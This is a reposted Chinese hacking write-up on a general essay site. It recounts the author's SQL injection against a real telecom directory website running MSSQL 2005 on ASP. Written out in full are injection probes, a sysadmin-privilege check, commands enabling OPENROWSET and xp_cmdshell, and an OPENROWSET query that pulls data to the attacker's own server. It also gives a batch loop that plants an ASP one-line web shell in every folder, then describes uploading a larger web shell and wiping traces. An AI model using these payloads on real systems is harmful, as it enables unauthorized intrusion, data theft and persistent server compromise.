首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 搞笑文章 > 正文

    sql注入攻击_MSSQL2005注入攻击

    时间：2020-02-18来源：山茶花美文网 本文已影响 人 山茶花美文网手机站

    电信级的系统估计都是采用比较大型的数据库了吧~ 而且涉及到高速搜索方面的！出乎我意料之外呢！兰州电信 号码百事通的网站 居然是用IIS ASP！呵呵！ASP估计脚本小子都玩得很熟悉了！-_- 而且ASP不采用FSO生成静态页面技术！ 呵呵~其实注入点并不是那么好找的!毕竟是电信的大网站！测试了好多个点都失败,我个人比较喜欢找那些片偏僻的url连接！那些80%的程序员都会疏忽~！ OK 来个经典 and 0=0 and 0=1 返回不一样的结果！看来是数字输入的了！ 不说太多~ 再看看是什么数据库 跟ASP结合 80% 都是MSSQL了！不过也有例外的~呵呵例如第2代身份证验证的网站 我记得有好几个是采用ASP/ASPX ORACLE 的！题外话就不多说了！来点直接的！

    and exists(select @@version)-- 返回正常哦~ 呵呵看来不会是ORACLE其他了 要么就是SYBASE 要么就是 MSSQL

    那再来看看 SYBASE 没有IS_SRVROLEMEMBER函数的！只有MS的才会有！而SYBASE判断权限就只有用show_role

    and 1=(select IS_SRVROLEMEMBER("sysadmin"))-- 喔？ 返回正常哦 , 真大意啊~是SA权限！

    OK那么 就来个我的最爱 OPENROWSET

    先建一个表

    create table c(dir ntext,num int,f int)--

    然后

    insert c execute master..xp_dirtree "c:",1,1--

    insert into OPENROWSET("SQLOLEDB","xxx.xxx.xxx.1";"sa";"p","select * from Northwind.dbo.dirtree")

    select * from c--把远程的表导到我自己机器上的MSSQL

    发现报告错误

    不允许OPENROWSET ~~ 奇怪？？ 难道是MSSQL2005？权限问题？靠！那就开呗！幸好是SA权限

    EXEC sp_configure "Ad Hoc Distributed Queries",1;RECONFIGURE;--开始分布式事务

    现在来真的了！不过还是有我最担心的~ 就是WEB跟DATABASE是分离的！这样搞起来就郁闷了！OK！

    既然是SA 那就把他的CMDSHELL都开了吧~

    EXEC sp_configure "show advanced options", 1;RECONFIGURE;EXEC sp_configure "xp_cmdshell", 1;RECONFIGURE;--

    这样就可以开启CMDSHELL 但是还没有添加扩展存储过程

    dbcc addextendedproc("xp_cmdshell","xplog70.dll");--

    其实没有什么必要的~只是我为了方便防火墙！

    再来执行 exec master..xp_cmdshell "ping 自己IP" 防火墙检测到有对方IP ping自己了呵呵！然后再ping他的WEBSITE

    看来是同一个IP哦~ 哈哈！那就爽了！那我就直接在他本地写一个bat吧！

    随便找个地方用xp_cmdshell写了个bat 内容为

    FOR /R "C:" %%v IN (1.asp) DO echo ^<script language=vbscript runat=server^>execute request(^"z^")^</script^> >%%v

    然后用他的xp_cmdshell执行 OK

    在C盘下面所有文件夹都有这个1.asp了~ 呵呵 如此类推

    把其他盘也感染.... 5分钟过后！~ 他的所有盘 所有文件夹都有这个 1.asp的一句话~ 哈哈！来到www.lanzhouXXXXX.com 在他的web上面传个大马子~KO~~... 记得收拾残局！把之前的垃圾清除~呵呵

    • sql注入攻击_MSSQL2005注入攻击 相关文章:
    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文sql注入攻击_MSSQL2005注入攻击由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.